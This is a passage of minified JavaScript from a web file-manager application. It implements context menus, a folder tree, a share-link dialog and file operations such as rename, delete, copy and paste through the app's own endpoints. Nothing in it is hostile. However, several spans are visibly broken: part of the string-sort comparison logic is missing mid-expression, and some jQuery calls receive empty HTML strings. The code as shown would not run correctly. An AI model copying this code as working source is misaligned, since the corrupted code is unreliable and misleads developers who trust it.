LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":n.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quit_dialog":n.close();break;case"hide_dialog":n.display(!1);break;case"refresh":n.refresh();break;case"open_window":n.open_window();break;case"qrcode":core.qrcode(n.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e="disabled",t=$(".context-menu-list").filter(":visible"),i=$(".context-menu-active");if(0!=t.length&&0!=i.length){if(i.hasClass("dialog_menu")){var n=i.attr("id"),a=$.dialog.list[n];a.has_frame()?(t.find(".open_window").show(),t.find(".refresh").show()):(t.find(".open_window").hide(),t.find(".refresh").hide())}if(i.hasClass("menufile")){var o=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==o?t.find(".unzip").show():t.find(".unzip").hide(),"html"==o||"htm"==o||"oexe"==o?t.find(".open_text").show():t.find(".open_text").hide()}if(i.hasClass("menuMore")){var s=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(s+=1)}),0==s?t.find(".playmedia").hide():t.find(".playmedia").show()}(i.hasClass("menuZipListFolder")||i.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?t.find(".unzip_this").removeClass(e):t.find(".unzip_this").addClass(e),G.sid&&t.find(".unzip_to").addClass(e))}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/src/share_editor/ui",[],function(){var e=function(){var e=!1,t=0,i=0,n=0,a=$(".frame-left"),o=$(".frame-resize"),s=$(".frame-right");o.die("mousedown").live("mousedown",function(e){return 1!=e.which?!0:(r(e),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){l(e)}),$(document).one("mouseup",function(e){return c(e),this.releaseCapture&&this.releaseCapture(),stopPP(e),!1}),stopPP(e),!1)});var r=function(n){e=!0,t=n.pageX,i=$(".frame-left").width(),o.addClass("active"),$(".resizeMask").css("display","block")},l=function(r){if(!e)return!0;var l=r.pageX-t,c=i+l;n>c&&(c=n),c>$(document).width()-200&&(c=$(document).width()-200),a.css("width",c),o.css("left",c-5),s.css("left",c+1)},c=function(){return e?(e=!1,o.removeClass("active"),$(".resizeMask").css("display","none"),void 0):!1}},t=function(){$(".tools-left a").click(function(){var e=$(this).attr("class");switch(e){case"home":tree.init();break;case"view":tree.explorer();break;case"folder":tree.create("folder");break;case"file":tree.create("file");break;case"refresh":tree.init();break;default:}})};return{init:function(){e(),t(),tree.init(),Mousetrap.bind(["ctrl+s","command+s"],function(e){e.preventDefault(),e.returnvalue=!1,ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()})})},setTheme:function(e){core.setSkin(e,"app_editor.css"),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)})},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},fileHistory:function(e){var t=G.project;if(G.sid!==void 0&&(t=t+"__"+G.sid),t="editorHistory_"+t,void 0==e){var i=LocalData.get(t);return i=jsonDecode(i),$.isArray(i)||(i=[]),i}LocalData.set(t,jsonEncode(e))}}}),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),n=e("./pathOpen"),a=!1;ui.pathOpen=n,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&n.open(f().path,f().type)},r=function(e,t){if(e&&e[0]&&-1!==$.inArray(e[0].menuType,["menuTreeGroup","menuTreeFav"]))return e;for(var i=[],n=[],a=0;e.length>a;a++)e[a].drop=!1,e[a].drag=!1,e[a].name=e[a].name,e[a].isParent&&e[a].children&&(e[a].children=r(e[a].children)),e[a].is_writeable,"folder"==e[a].type?n.push(e[a]):i.push(e[a]);return t?e:(n=n.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),n.concat(i))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},n=function(t){for(var i=0;t.length>i;i++){var n=t[i].path;void 0!==e[n]&&(t[i].open=e[n])}return t},a=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),n={},a=0;t.length>a;a++)n[t[a].path]=t[a].open;return e=n,i(e),e};return e=i(),{list:function(){return e},reset:n,save:a}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('
        '+LNG.system_error+"
        ")},success:function(e){if(!e.code)return $("#folderList").html('
        '+LNG.system_error+"
        "),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var n=i.getPreNode();if(n){if(n.open&&n.children.length>0)for(;n.open&&n.children&&n.children.length>=1;)n=n.children[n.children.length-1]}else n=i.getParentNode();o.selectNode(n);break;case"down":if(i.open&&i.children.length>=1)n=i.children[0];else{var a=i,n=a.getNextNode()||a.getParentNode().getNextNode();try{for(;!n;)a=a.getParentNode(),n=a.getNextNode()||a.getParentNode().getNextNode()}catch(e){}}o.selectNode(n);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,n=$("#"+t.tId+"_switch"),a=$("#"+t.tId+"_ico");n.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),a.before(n).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&a.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";n.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),n.parent().addClass(r).attr("title",l),0==t.is_writeable&&n.parent().addClass("file_not_writeable"),0==t.is_readable&&n.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,n,a){return $("#"+n.tId+"_my_ico").removeClass("ico_loading"),0==a.data.length?(o.removeChildNodes(n),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,n,a){var s=a.getParentNode();if(o.getNodesByParam("name",a.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(a),void 0;if(a.create){var r=a.path+"/"+a.name;"folder"==a.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(a.path,"/"),c=core.pathFather(a.path)+a.name;i.rname(l,c,function(e){a.path=e,t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g(),"folder"==a.type&&ui.path.list(a.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,n=t.length;n>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,n,a){var o="",s="",r=n[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=a.father+urlEncode(a.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:n,treeDataSort:r,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){n.openEditor(f().path)},openWindow:function(){n.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):n.download(f().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),n.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){a||(a=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){a=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var n=o.getNodes();o.selectNode(n[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var a=f(),s=a.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:a.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:a.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],n=function(e){var n=function(e,t){for(var i=t.length,n=0;i>n;n++)if(e.indexOf(t[n])>0)return!0;return!1},a=i;return G.system_os&&"windows"==G.system_os&&(a=t),n(e,a)?(Tips.tips(LNG.path_not_allow+": "+a.join(", "),!1),!1):!0},a=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},n=0;e.length>n;n++)t.push({type:i(e[n].type),path:urlEncode(i(e[n].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",n=0;Math.max(e.length,t.length)>n;n++)if(e.charAt(n)!=t.charAt(n)){var a=i.indexOf(e.charAt(n)),o=i.indexOf(t.charAt(n));return-1!=a&&-1!=o?a>o?1:o>a?-1:0:e.charAt(n)>t.charAt(n)?1:e.charAt(n)c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return n(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return n(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?n(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,n){if(i=void 0==i?!1:i,n=void 0==n?!1:n,!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=a(e);"share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),n&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e.length>1&&(s+=' ... '+e.length+"");var c=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var n=$.dialog.list.share_dialog;void 0!=n&&n.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?c():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:c,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},u=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var n="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data); +else{G.self_share=e.info;var i={path:t,type:n,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content_info input[name=type]").val(n),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==n&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))}))})}}})},f=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),n=template.compile(i),a=n({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:a});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var n=e.type;"folder"==e.type&&(n=1==e.code_read?"code_read":"folder");var a=G.app_host+"index.php?share/"+n+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(a),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var n=i.createTextRange();n.moveEnd("character",-i.value.length),n.moveEnd("character",t),n.moveStart("character",0),n.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,n,a){if(console.log(e,t,i,n,a),!(1>e.length)){var o,s=G.my_desktop;n&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof a&&a(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),n=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var a=urlEncode(n+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+a,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:a(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},x=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var n="info";1==t.length&&(n="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(a(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var 